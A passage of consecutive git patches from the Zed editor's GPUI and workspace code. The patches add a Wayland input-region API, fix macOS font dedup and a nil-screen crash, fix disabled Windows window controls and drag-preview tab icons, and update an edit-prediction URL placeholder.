+        // original `intersperse` behavior but in terms of visible columns.
+        let is_last_visible = position + 1 == visible_cols.len();
+        if is_last_visible {
+            continue;
+        }
 
-            {
-                let divider = div().id(current_column_ix).relative().top_0();
-                let entity_id = columns_state.entity_id();
-                let on_reset: Rc<dyn Fn(&mut Window, &mut App)> = {
-                    let columns_state = columns_state.clone();
-                    Rc::new(move |window, cx| {
-                        columns_state.update(cx, |columns, cx| {
-                            columns.reset_column_to_initial_width(current_column_ix, window);
-                            cx.notify();
-                        });
-                    })
-                };
-                let on_drag_end: Option<Rc<dyn Fn(&mut App)>> = {
-                    Some(Rc::new(move |cx| {
-                        columns_state.update(cx, |state, _| state.commit_preview());
-                    }))
-                };
-                render_column_resize_divider(
-                    divider,
-                    current_column_ix,
-                    resize_behavior[current_column_ix].is_resizable(),
-                    entity_id,
-                    on_reset,
-                    on_drag_end,
-                    window,
-                    cx,
-                )
-            }
-        },
-    );
+        let columns_state = columns_state.clone();
+        let divider = div().id(col_idx).relative().top_0();
+        let entity_id = columns_state.entity_id();
+        let on_reset: Rc<dyn Fn(&mut Window, &mut App)> = {
+            let columns_state = columns_state.clone();
+            Rc::new(move |window, cx| {
+                columns_state.update(cx, |columns, cx| {
+                    columns.reset_column_to_initial_width(col_idx, window);
+                    cx.notify();
+                });
+            })
+        };
+        let on_drag_end: Option<Rc<dyn Fn(&mut App)>> = {
+            Some(Rc::new(move |cx| {
+                columns_state.update(cx, |state, _| state.commit_preview());
+            }))
+        };
+        children.push(render_column_resize_divider(
+            divider,
+            col_idx,
+            resize_behavior[col_idx].is_resizable(),
+            entity_id,
+            on_reset,
+            on_drag_end,
+            window,
+            cx,
+        ));
+    }
 
     h_flex()
         .id("resize-handles")
         .absolute()
         .inset_0()
         .w_full()
-        .children(dividers)
+        .children(children)
         .into_any_element()
 }
 

From a29c0d41f4787d7cd268d4f8ad1a706af86042c7 Mon Sep 17 00:00:00 2001
From: Philipp Schaffrath <philipp.schaffrath@gmail.com>
Date: Tue, 7 Jul 2026 10:54:07 +0200
Subject: [PATCH 296/772] gpui: Add input region support for Wayland windows
 (#60161)

# Objective

Wayland windows have no way to restrict which parts of the surface
accept pointer and touch input. This adds support for setting an input
region, so events outside it pass through to whatever is below the
window. This is useful for shaped or partially click-through windows.


Clicks in green area can pass through the window, clicks in red area do
not:
<img width="1057" height="395" alt="image"
src="https://github.com/user-attachments/assets/2039af62-e43b-4834-b877-edad2a8f5ccf"
/>

## Solution

Add `Window::set_input_region`, which takes `Option<&[Bounds<Pixels>]>`:

- `Some(rects)` restricts pointer and touch input to the union of the
rectangles, in window coordinates.
- `Some(&[])` is an empty region, so the window receives no input at all
and is fully click-through.
- `None` resets the region to the default, so the whole window receives
input again.

On Wayland this maps to `wl_surface.set_input_region`, building a
`wl_region` from the rectangles or clearing it for `None`, and commits
so the change applies immediately rather than waiting for the next
frame. The method is a no-op on other platforms.


## Testing

Tested on Linux with Wayland.

- Tested in my own GPUI application, which uses a fullscreen layer for
overlays while allowing clicks outside of the rendered elements to be
passed through to the underlying windows.
- No automated test was added, since this calls through to the
compositor and is checked by observing input routing.


## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
---
 crates/gpui/src/platform.rs                   |  1 +
 crates/gpui/src/window.rs                     | 10 ++++++
 crates/gpui_linux/src/linux/wayland/window.rs | 32 +++++++++++++++++++
 3 files changed, 43 insertions(+)

diff --git a/crates/gpui/src/platform.rs b/crates/gpui/src/platform.rs
index 5765fd80aff0b5..13fcbcee7a7528 100644
--- a/crates/gpui/src/platform.rs
+++ b/crates/gpui/src/platform.rs
@@ -702,6 +702,7 @@ pub trait PlatformWindow: HasWindowHandle + HasDisplayHandle {
     fn show_window_menu(&self, _position: Point<Pixels>) {}
     fn start_window_move(&self) {}
     fn start_window_resize(&self, _edge: ResizeEdge) {}
+    fn set_input_region(&self, _region: Option<&[Bounds<Pixels>]>) {}
     fn window_decorations(&self) -> Decorations {
         Decorations::Server
     }
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 198fab268e8cfb..fcf10ac5576dfe 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -1999,6 +1999,16 @@ impl Window {
         self.platform_window.start_window_resize(edge);
     }
 
+    /// Linux (wayland) only: Set the window's input region, the area that receives pointer
+    /// and touch input. Events outside it pass through to whatever is below the window.
+    ///
+    /// - `Some(rects)` restricts input to the union of `rects`, in window coordinates.
+    /// - `Some(&[])` is an empty region, so the window receives no pointer or touch input.
+    /// - `None` resets the region to the default, so the whole window receives input again.
+    pub fn set_input_region(&self, region: Option<&[Bounds<Pixels>]>) {
+        self.platform_window.set_input_region(region);
+    }
+
     /// Return the `WindowBounds` to indicate that how a window should be opened
     /// after it has been closed
     pub fn window_bounds(&self) -> WindowBounds {
diff --git a/crates/gpui_linux/src/linux/wayland/window.rs b/crates/gpui_linux/src/linux/wayland/window.rs
index da759cfebc733f..731569a025fa7a 100644
--- a/crates/gpui_linux/src/linux/wayland/window.rs
+++ b/crates/gpui_linux/src/linux/wayland/window.rs
@@ -1489,6 +1489,38 @@ impl PlatformWindow for WaylandWindow {
         }
     }
 
+    fn set_input_region(&self, region: Option<&[Bounds<Pixels>]>) {
+        let state = self.borrow();
+        match region {
+            // No region means the whole surface receives input.
+            None => state.surface.set_input_region(None),
+            // A region restricts input to its rectangles. An empty region
+            // receives no input at all.
+            Some(rects) => {
+                let wl_region = state
+                    .globals
+                    .compositor
+                    .create_region(&state.globals.qh, ());
+                for rect in rects {
+                    let rect = rect.map(|pixels| f32::from(pixels) as i32);
+                    wl_region.add(
+                        rect.origin.x,
+                        rect.origin.y,
+                        rect.size.width,
+                        rect.size.height,
+                    );
+                }
+                state.surface.set_input_region(Some(&wl_region));
+                wl_region.destroy();
+            }
+        }
+
+        // Commit so the new input region applies immediately. Otherwise it
+        // waits for the next frame, which could be the very click we want to
+        // allow passing through.
+        state.surface.commit();
+    }
+
     fn window_decorations(&self) -> Decorations {
         let state = self.borrow();
         match state.decorations {

From e7803a88f55e290a0478d46bd0137e711d6da862 Mon Sep 17 00:00:00 2001
From: Nick Mosher <nicholastmosher@gmail.com>
Date: Tue, 7 Jul 2026 01:59:43 -0700
Subject: [PATCH 297/772] gpui: Add ParentElement impl for AnimationElement
 (#54145)

Hello, I've been loving using GPUI! Recently I noticed that calling
`.with_animiation()` would give an `AnimationElement<E>` which did not
allow `.child()` to be called on it. It was a quick fix, I hope it's a
quick easy merge but let me know if you'd like anything changed :)

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A

Co-authored-by: Lukas Wirth <lukas@zed.dev>
---
 crates/gpui/src/elements/animation.rs | 43 ++++++++++++++++++++++++++-
 1 file changed, 42 insertions(+), 1 deletion(-)

diff --git a/crates/gpui/src/elements/animation.rs b/crates/gpui/src/elements/animation.rs
index 8a42c8bd492469..b816f7dd935afd 100644
--- a/crates/gpui/src/elements/animation.rs
+++ b/crates/gpui/src/elements/animation.rs
@@ -2,7 +2,8 @@ use scheduler::Instant;
 use std::{rc::Rc, time::Duration};
 
 use crate::{
-    AnyElement, App, Element, ElementId, GlobalElementId, InspectorElementId, IntoElement, Window,
+    AnyElement, App, Element, ElementId, GlobalElementId, InspectorElementId, IntoElement,
+    ParentElement, Window,
 };
 
 pub use easing::*;
@@ -95,6 +96,16 @@ pub struct AnimationElement<E> {
     animator: Box<dyn Fn(E, usize, f32) -> E + 'static>,
 }
 
+impl<E: ParentElement> ParentElement for AnimationElement<E> {
+    fn extend(&mut self, elements: impl IntoIterator<Item = AnyElement>) {
+        let Some(element) = &mut self.element else {
+            return;
+        };
+
+        element.extend(elements);
+    }
+}
+
 impl<E> AnimationElement<E> {
     /// Returns a new [`AnimationElement<E>`] after applying the given function
     /// to the element being animated.
@@ -259,3 +270,33 @@ mod easing {
         }
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use crate::InteractiveElement;
+    use crate::div;
+
+    use super::*;
+
+    // Before parent-animation-element, using .with_animation
+    // would not allow chaining .parent after. This is just a
+    // build check that we can call div().id().with_animation().child()
+    #[test]
+    fn test_animation_parent() {
+        div()
+            .id("id")
+            //
+            .with_animation(
+                "animation",
+                Animation::new(Duration::from_secs(1)),
+                |el, _t| {
+                    //
+                    el
+                },
+            )
+            .child(
+                //
+                div(),
+            );
+    }
+}

From 20a93f6195ca8e9f0a748038317a5efe1be3e482 Mon Sep 17 00:00:00 2001
From: Ankan Misra <misra13arko@gmail.com>
Date: Tue, 7 Jul 2026 14:29:55 +0530
Subject: [PATCH 298/772] gpui_macos: Fix glyph rendering when fonts share a
 PostScript name (#57250)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

On macOS, `load_family` was inserting every font into
`font_ids_by_postscript_name` without checking for duplicates. When two
installed font files claim the same PostScript name — typically an older
Geist Mono left behind alongside the current brew cask — the second
insert overwrote the first. After shaping, `id_for_native_font` looked
up that PostScript name and got back the *other* font's `FontId`, so the
rasterizer drew glyphs from the wrong table
See #55472 for the screenshot

This adds a local `HashSet` to dedup within a single `load_family` call.
Scoping it to one call (rather than the global map) matters: the same
family gets reloaded under different `FontKey`s when `FontFeatures` or
`FontFallbacks` change, and a global check would skip every font on the
reload and break weight selection.

Cross-family PostScript name collisions and CoreText fallback
substitutions that re-introduce a conflict are out of scope here

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed glyph rendering when fonts share a PostScript name on macOS

---------

Co-authored-by: Lukas Wirth <lukas@zed.dev>
---
 crates/gpui_macos/src/text_system.rs | 32 ++++++++++++++++++++++++----
 1 file changed, 28 insertions(+), 4 deletions(-)

diff --git a/crates/gpui_macos/src/text_system.rs b/crates/gpui_macos/src/text_system.rs
index 2808e535ad55e5..fbc48864ce5216 100644
--- a/crates/gpui_macos/src/text_system.rs
+++ b/crates/gpui_macos/src/text_system.rs
@@ -1,6 +1,6 @@
 use anyhow::anyhow;
 use cocoa::appkit::CGFloat;
-use collections::HashMap;
+use collections::{HashMap, HashSet};
 use core_foundation::{
     array::{CFArray, CFArrayRef},
     attributed_string::CFMutableAttributedString,
@@ -282,6 +282,7 @@ impl MacTextSystemState {
         let name = gpui::font_name_with_fallbacks(name, ".AppleSystemUIFont");
 
         let mut font_ids = SmallVec::new();
+        let mut postscript_names_seen = HashSet::default();
         let family = self
             .memory_source
             .select_family_by_name(name)
@@ -340,15 +341,38 @@ impl MacTextSystemState {
                         .is_some())
             } {
                 log::error!(
-                    "Failed to read traits for font {:?}",
-                    font.postscript_name().unwrap()
+                    "Failed to read traits for font {:?} (PostScript name {:?})",
+                    font.full_name(),
+                    font.postscript_name(),
                 );
                 continue;
             }
 
+            let Some(postscript_name) = font.postscript_name() else {
+                log::warn!(
+                    "font {:?} in family {:?} has no PostScript name; skipping",
+                    font.full_name(),
+                    name,
+                );
+                continue;
+            };
+            // Dedup is scoped to this single `load_family` call (issue #55472).
+            // The same family can be reloaded later under a different `FontKey`
+            // (different features/fallbacks); a global check against
+            // `font_ids_by_postscript_name` would skip every already-registered
+            // font and leave the second call's `font_ids` empty.
+            if !postscript_names_seen.insert(postscript_name.clone()) {
+                log::warn!(
+                    "skipping duplicate font {:?} with PostScript name {:?} \
+                     in family {:?}",
+                    font.full_name(),
+                    postscript_name,
+                    name,
+                );
+                continue;
+            }
             let font_id = FontId(self.fonts.len());
             font_ids.push(font_id);
-            let postscript_name = font.postscript_name().unwrap();
             self.font_ids_by_postscript_name
                 .insert(postscript_name.clone(), font_id);
             self.postscript_names_by_font_id

From 7194f987a74317881768b4d3a5ce1cc93a3228bd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=BF=B7=E6=B8=A1?= <justjavac@gmail.com>
Date: Tue, 7 Jul 2026 17:01:58 +0800
Subject: [PATCH 299/772] Fix disabled Windows window controls (#60440)

## Summary

- Store Windows window minimizable and resizable capabilities on
`WindowsWindowInner`.
- Prevent custom titlebar hit testing from returning minimize/maximize
button hit targets when the corresponding capability is disabled.
- Swallow disabled native non-client minimize/maximize button mouse
events so they cannot fall through to the default window procedure or
GPUI's manual `ShowWindowAsync` handling.

Fixes #52067.

## Validation

- `cargo fmt --package gpui_windows`
- `cargo check -p gpui_windows`
- `git diff --check`

Release Notes:

- Fixed disabled minimize and maximize window controls still activating
on Windows.
---
 crates/gpui_windows/src/events.rs | 20 +++++++++++++++-----
 crates/gpui_windows/src/window.rs |  8 ++++++++
 2 files changed, 23 insertions(+), 5 deletions(-)

diff --git a/crates/gpui_windows/src/events.rs b/crates/gpui_windows/src/events.rs
index 619765a2fd6abe..b293763bd9ede4 100644
--- a/crates/gpui_windows/src/events.rs
+++ b/crates/gpui_windows/src/events.rs
@@ -903,8 +903,12 @@ impl WindowsWindowInner {
                 WindowControlArea::Drag if self.is_movable => Some(HTCAPTION as _),
                 WindowControlArea::Drag => None,
                 WindowControlArea::Close => Some(HTCLOSE as _),
-                WindowControlArea::Max => Some(HTMAXBUTTON as _),
-                WindowControlArea::Min => Some(HTMINBUTTON as _),
+                WindowControlArea::Max if self.is_resizable => Some(HTMAXBUTTON as _),
+                WindowControlArea::Max if self.is_movable => Some(HTCAPTION as _),
+                WindowControlArea::Max => Some(HTNOWHERE as _),
+                WindowControlArea::Min if self.is_minimizable => Some(HTMINBUTTON as _),
+                WindowControlArea::Min if self.is_movable => Some(HTCAPTION as _),
+                WindowControlArea::Min => Some(HTNOWHERE as _),
             })
         } else {
             None
@@ -926,7 +930,11 @@ impl WindowsWindowInner {
         };
 
         unsafe { ScreenToClient(handle, &mut cursor_point).ok().log_err() };
-        if !self.state.is_maximized() && 0 <= cursor_point.y && cursor_point.y <= frame_y {
+        if self.is_resizable
+            && !self.state.is_maximized()
+            && 0 <= cursor_point.y
+            && cursor_point.y <= frame_y
+        {
             // x-axis actually goes from -frame_x to 0
             return Some(if cursor_point.x <= 0 {
                 HTTOPLEFT
@@ -1052,11 +1060,12 @@ impl WindowsWindowInner {
             && let Some(last_pressed) = last_pressed
         {
             let handled = match (wparam.0 as u32, last_pressed) {
-                (HTMINBUTTON, HTMINBUTTON) => {
+                (HTMINBUTTON, HTMINBUTTON) if self.is_minimizable => {
                     unsafe { ShowWindowAsync(handle, SW_MINIMIZE).ok().log_err() };
                     true
                 }
-                (HTMAXBUTTON, HTMAXBUTTON) => {
+                (HTMINBUTTON, HTMINBUTTON) => true,
+                (HTMAXBUTTON, HTMAXBUTTON) if self.is_resizable => {
                     if self.state.is_maximized() {
                         unsafe { ShowWindowAsync(handle, SW_NORMAL).ok().log_err() };
                     } else {
@@ -1064,6 +1073,7 @@ impl WindowsWindowInner {
                     }
                     true
                 }
+                (HTMAXBUTTON, HTMAXBUTTON) => true,
                 (HTCLOSE, HTCLOSE) => {
                     unsafe {
                         PostMessageW(Some(handle), WM_CLOSE, WPARAM::default(), LPARAM::default())
diff --git a/crates/gpui_windows/src/window.rs b/crates/gpui_windows/src/window.rs
index c9352a60035ace..547ee7a9dde9b0 100644
--- a/crates/gpui_windows/src/window.rs
+++ b/crates/gpui_windows/src/window.rs
@@ -94,6 +94,8 @@ pub(crate) struct WindowsWindowInner {
     pub(crate) handle: AnyWindowHandle,
     pub(crate) hide_title_bar: bool,
     pub(crate) is_movable: bool,
+    pub(crate) is_resizable: bool,
+    pub(crate) is_minimizable: bool,
     pub(crate) executor: ForegroundExecutor,
     pub(crate) validation_number: usize,
     pub(crate) main_receiver: PriorityQueueReceiver<RunnableVariant>,
@@ -262,6 +264,8 @@ impl WindowsWindowInner {
             handle: context.handle,
             hide_title_bar: context.hide_title_bar,
             is_movable: context.is_movable,
+            is_resizable: context.is_resizable,
+            is_minimizable: context.is_minimizable,
             executor: context.executor.clone(),
             validation_number: context.validation_number,
             main_receiver: context.main_receiver.clone(),
@@ -384,6 +388,8 @@ struct WindowCreateContext {
     hide_title_bar: bool,
     display: WindowsDisplay,
     is_movable: bool,
+    is_resizable: bool,
+    is_minimizable: bool,
     min_size: Option<Size<Pixels>>,
     executor: ForegroundExecutor,
     current_cursor: Option<HCURSOR>,
@@ -487,6 +493,8 @@ impl WindowsWindow {
             hide_title_bar,
             display,
             is_movable: params.is_movable,
+            is_resizable: params.is_resizable,
+            is_minimizable: params.is_minimizable,
             min_size: params.window_min_size,
             executor,
             current_cursor,

From 71b3b9b8874218170de42cc98f96816b683b2005 Mon Sep 17 00:00:00 2001
From: Lysastriel <99468824+KiraKiraAyu@users.noreply.github.com>
Date: Tue, 7 Jul 2026 17:02:29 +0800
Subject: [PATCH 300/772] gpui_macos: Guard start_display_link against nil
 screens (#60419)

# Objective

Prevent a macOS crash in GPUI when AppKit temporarily reports that a
visible window has no associated `NSScreen` during display
reconfiguration.

The crash can happen on this path:

```text
NSScreen::deviceDescription
gpui_macos::window::display_id_for_screen
gpui_macos::window::MacWindowState::start_display_link
gpui_macos::window::window_did_change_screen
```

`start_display_link` checked the window occlusion state before creating
a display link, but it still assumed `NSWindow.screen()` was non-null.
During display changes, sleep/wake, lid close/open, or monitor
reconfiguration, AppKit can transiently return `nil` for `screen`, and
passing that into `NSScreen::deviceDescription` aborts with a null
pointer dereference.

I observed this on macOS 26.5 after the system entered a rare display
state: once in that state, running GPUI applications would crash
immediately after wake. I have not identified the exact OS/display
condition that triggers it, so the full wake/reconfiguration scenario is
not deterministic, but the crash report consistently points to
`NSWindow.screen()` being `nil` when `start_display_link` tries to
create a display link.

## Solution

Make `display_id_for_screen` explicitly handle a null `NSScreen` by
returning `None`.

Callers now handle that case by either:

- returning early from `start_display_link`, because there is no valid
display id to create a display link for yet
- skipping a null screen while iterating `NSScreen::screens`

The normal non-null screen path is unchanged.

This keeps the nil-screen guard at the FFI boundary where
`NSScreen::deviceDescription` is called.

## Testing

Tested on macOS 26.5.

Commands run:

```bash
cargo fmt --check -p gpui_macos
cargo test -p gpui_macos display_id_for_screen_returns_none_for_null_screen
cargo check -p gpui_macos
```

Added a unit test covering the new boundary behavior:
`window::tests::display_id_for_screen_returns_none_for_null_screen`

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed a macOS crash that could occur when display configuration
changes while a GPUI window is temporarily not associated with a screen.
---
 crates/gpui_macos/src/window.rs | 27 +++++++++++++++++++++++----
 1 file changed, 23 insertions(+), 4 deletions(-)

diff --git a/crates/gpui_macos/src/window.rs b/crates/gpui_macos/src/window.rs
index 938633d4749118..d3d87608253e03 100644
--- a/crates/gpui_macos/src/window.rs
+++ b/crates/gpui_macos/src/window.rs
@@ -655,7 +655,10 @@ impl MacWindowState {
                 return;
             }
         }
-        let display_id = unsafe { display_id_for_screen(self.native_window.screen()) };
+        let Some(display_id) = display_id_for_screen(unsafe { self.native_window.screen() }) else {
+            // AppKit can temporarily report no screen while displays are being reconfigured.
+            return;
+        };
         if let Some(mut display_link) =
             DisplayLink::new(display_id, self.native_view.as_ptr() as *mut c_void, step).log_err()
         {
@@ -812,8 +815,10 @@ impl MacWindow {
             let count: u64 = cocoa::foundation::NSArray::count(screens);
             for i in 0..count {
                 let screen = cocoa::foundation::NSArray::objectAtIndex(screens, i);
+                let Some(display_id) = display_id_for_screen(screen) else {
+                    continue;
+                };
                 let frame = NSScreen::frame(screen);
-                let display_id = display_id_for_screen(screen);
                 if display_id == display.0 {
                     screen_frame = Some(frame);
                     target_screen = screen;
@@ -2995,13 +3000,17 @@ where
     }
 }
 
-unsafe fn display_id_for_screen(screen: id) -> CGDirectDisplayID {
+fn display_id_for_screen(screen: id) -> Option<CGDirectDisplayID> {
+    if screen.is_null() {
+        return None;
+    }
+
     unsafe {
         let device_description = NSScreen::deviceDescription(screen);
         let screen_number_key: id = ns_string("NSScreenNumber");
         let screen_number = device_description.objectForKey_(screen_number_key);
         let screen_number: NSUInteger = msg_send![screen_number, unsignedIntegerValue];
-        screen_number as CGDirectDisplayID
+        Some(screen_number as CGDirectDisplayID)
     }
 }
 
@@ -3153,3 +3162,13 @@ extern "C" fn toggle_tab_bar(this: &Object, _sel: Sel, _id: id) {
         }
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn display_id_for_screen_returns_none_for_null_screen() {
+        assert_eq!(display_id_for_screen(nil), None);
+    }
+}

From 811fe501a77ffb82c1c1b3d9934ec4e416f853e0 Mon Sep 17 00:00:00 2001
From: Shreyash Saitwal <40118018+shreyashsaitwal@users.noreply.github.com>
Date: Tue, 7 Jul 2026 14:59:38 +0530
Subject: [PATCH 301/772] workspace: Fix missing icons on non-terminal tabs
 during drag (#53637)

Previously, only terminal tabs displayed their icon while being dragged,
all other tab types showed just the label, making the drag preview
inconsistent with the actual tab appearance.


https://github.com/user-attachments/assets/7c055945-79d6-4f6e-8969-279a4fb1ff58

This PR fixes that by rendering each tab's icon alongside its label, so
the dragged preview now accurately reflects the tab regardless of type.


https://github.com/user-attachments/assets/3ad5a99b-5ba7-41d2-a6b3-51101b1f9650

Release Notes:

- Fixed missing icons on non-terminal tabs when dragging

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/workspace/src/pane.rs | 110 ++++++++++++++++++-----------------
 1 file changed, 57 insertions(+), 53 deletions(-)

diff --git a/crates/workspace/src/pane.rs b/crates/workspace/src/pane.rs
index dc3dcd68b8d21a..47ae6942010aef 100644
--- a/crates/workspace/src/pane.rs
+++ b/crates/workspace/src/pane.rs
@@ -2774,6 +2774,54 @@ impl Pane {
         self.activate_item(index, true, true, window, cx);
     }
 
+    fn tab_icon_element(
+        &self,
+        item: &dyn ItemHandle,
+        is_active: bool,
+        window: &Window,
+        cx: &App,
+    ) -> Option<AnyElement> {
+        let icon = item
+            .tab_icon(window, cx)?
+            .size(IconSize::Small)
+            .color(Color::Muted);
+
+        let item_diagnostic = item
+            .project_path(cx)
+            .and_then(|project_path| self.diagnostics.get(&project_path));
+
+        let Some(diagnostic) = item_diagnostic else {
+            return Some(icon.into_any_element());
+        };
+
+        let knockout_item_color = if is_active {
+            cx.theme().colors().tab_active_background
+        } else {
+            cx.theme().colors().tab_bar_background
+        };
+
+        let (icon_decoration, icon_color) = if matches!(diagnostic, &DiagnosticSeverity::ERROR) {
+            (IconDecorationKind::X, Color::Error)
+        } else {
+            (IconDecorationKind::Triangle, Color::Warning)
+        };
+
+        Some(
+            DecoratedIcon::new(
+                icon,
+                Some(
+                    IconDecoration::new(icon_decoration, knockout_item_color, cx)
+                        .color(icon_color.color(cx))
+                        .position(Point {
+                            x: px(-2.),
+                            y: px(-2.),
+                        }),
+                ),
+            )
+            .into_any_element(),
+        )
+    }
+
     fn render_tab(
         &self,
         ix: usize,
@@ -2802,54 +2850,7 @@ impl Pane {
             cx,
         );
 
-        let item_diagnostic = item
-            .project_path(cx)
-            .map_or(None, |project_path| self.diagnostics.get(&project_path));
-
-        let decorated_icon = item_diagnostic.map_or(None, |diagnostic| {
-            let icon = match item.tab_icon(window, cx) {
-                Some(icon) => icon,
-                None => return None,
-            };
-
-            let knockout_item_color = if is_active {
-                cx.theme().colors().tab_active_background
-            } else {
-                cx.theme().colors().tab_bar_background
-            };
-
-            let (icon_decoration, icon_color) = if matches!(diagnostic, &DiagnosticSeverity::ERROR)
-            {
-                (IconDecorationKind::X, Color::Error)
-            } else {
-                (IconDecorationKind::Triangle, Color::Warning)
-            };
-
-            Some(DecoratedIcon::new(
-                icon.size(IconSize::Small).color(Color::Muted),
-                Some(
-                    IconDecoration::new(icon_decoration, knockout_item_color, cx)
-                        .color(icon_color.color(cx))
-                        .position(Point {
-                            x: px(-2.),
-                            y: px(-2.),
-                        }),
-                ),
-            ))
-        });
-
-        let icon = if decorated_icon.is_none() {
-            match item_diagnostic {
-                Some(&DiagnosticSeverity::ERROR) => None,
-                Some(&DiagnosticSeverity::WARNING) => None,
-                _ => item
-                    .tab_icon(window, cx)
-                    .map(|icon| icon.color(Color::Muted)),
-            }
-            .map(|icon| icon.size(IconSize::Small))
-        } else {
-            None
-        };
+        let icon = self.tab_icon_element(item, is_active, window, cx);
 
         let settings = ItemSettings::get_global(cx);
         let close_side = &settings.close_position;
@@ -2888,7 +2889,7 @@ impl Pane {
                 }))
         };
 
-        let has_file_icon = icon.is_some() | decorated_icon.is_some();
+        let has_file_icon = icon.is_some();
 
         let capability = item.capability(cx);
         let tab = Tab::new(ix)
@@ -3040,10 +3041,8 @@ impl Pane {
                 h_flex()
                     .id(("pane-tab-content", ix))
                     .gap_1()
-                    .children(if let Some(decorated_icon) = decorated_icon {
-                        Some(decorated_icon.into_any_element())
-                    } else if let Some(icon) = icon {
-                        Some(icon.into_any_element())
+                    .children(if let Some(icon) = icon {
+                        Some(icon)
                     } else if !capability.editable() {
                         Some(read_only_toggle(capability == Capability::Read).into_any_element())
                     } else {
@@ -4941,8 +4940,13 @@ impl Render for DraggedTab {
             window,
             cx,
         );
+        let icon =
+            self.pane
+                .read(cx)
+                .tab_icon_element(self.item.as_ref(), self.is_active, window, cx);
         Tab::new("")
             .toggle_state(self.is_active)
+            .children(icon)
             .child(label)
             .render(window, cx)
             .font(ui_font)

From 64c55b038f1e676c11bc4a2fdfbc8117f03144ca Mon Sep 17 00:00:00 2001
From: excited gui <170822527+alan-codes-things@users.noreply.github.com>
Date: Tue, 7 Jul 2026 10:53:16 +0100
Subject: [PATCH 302/772] Change OpenAI compatible URL placeholder in edit
 prediction settings (#58771)

Fixed my PR #58753.

Change the url placeholder from http://localhost:11434 to
http://localhost:8080/v1/completions to match the URL endpoint in the
[docs](https://zed.dev/docs/ai/edit-prediction)
```json
{
  "edit_predictions": {
    "provider": "open_ai_compatible_api",
    "open_ai_compatible_api": {
      "api_url": "http://localhost:8080/v1/completions",
      "model": "deepseek-coder-6.7b-base",
      "prompt_format": "deepseek_coder",
      "max_output_tokens": 512
    }
  }
}
```
Note: http://localhost:8080/v1/completions/ with an extra / does not
work.


Added the constants OPEN_AI_COMPATIBLE_API_URL_PLACEHOLDER and
OPEN_AI_COMPATIBLE_MODEL_PLACEHOLDER.

### Initial Issue
I noticed that using http://localhost:8080 doesn't work with llama.cpp.
Giving errors like this from (zed: open log):
```
2026-06-06T17:55:39+01:00 ERROR [crates/edit_prediction/src/edit_prediction.rs:2464] custom server error: 404 Not Found - {"error":{"message":"File Not Found","type":"not_found_error","code":404}}
```
After reading the docs above, I found out that I had to add
/v1/completions to the end.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:
- N/A
---
 .../src/pages/edit_prediction_provider_setup.rs            | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/crates/settings_ui/src/pages/edit_prediction_provider_setup.rs b/crates/settings_ui/src/pages/edit_prediction_provider_setup.rs
index 3f756a876a862a..01550cd16eae56 100644
--- a/crates/settings_ui/src/pages/edit_prediction_provider_setup.rs
+++ b/crates/settings_ui/src/pages/edit_prediction_provider_setup.rs
@@ -15,6 +15,9 @@ use workspace::AppState;
 const OLLAMA_API_URL_PLACEHOLDER: &str = "http://localhost:11434";
 const OLLAMA_MODEL_PLACEHOLDER: &str = "qwen2.5-coder:3b-base";
 
+const OPEN_AI_COMPATIBLE_API_URL_PLACEHOLDER: &str = "http://localhost:8080/v1/completions";
+const OPEN_AI_COMPATIBLE_MODEL_PLACEHOLDER: &str = "qwen2.5-coder:3b-base";
+
 use crate::{
     SettingField, SettingItem, SettingsFieldMetadata, SettingsPageItem, SettingsWindow, USER,
     components::{SettingsInputField, SettingsSectionHeader},
@@ -526,7 +529,7 @@ fn open_ai_compatible_settings() -> Box<[SettingsPageItem]> {
                 json_path: Some("edit_predictions.open_ai_compatible_api.api_url"),
             }),
             metadata: Some(Box::new(SettingsFieldMetadata {
-                placeholder: Some(OLLAMA_API_URL_PLACEHOLDER),
+                placeholder: Some(OPEN_AI_COMPATIBLE_API_URL_PLACEHOLDER),
                 ..Default::default()
             })),
             files: USER,
@@ -560,7 +563,7 @@ fn open_ai_compatible_settings() -> Box<[SettingsPageItem]> {
                 json_path: Some("edit_predictions.open_ai_compatible_api.model"),
             }),
             metadata: Some(Box::new(SettingsFieldMetadata {
-                placeholder: Some(OLLAMA_MODEL_PLACEHOLDER),
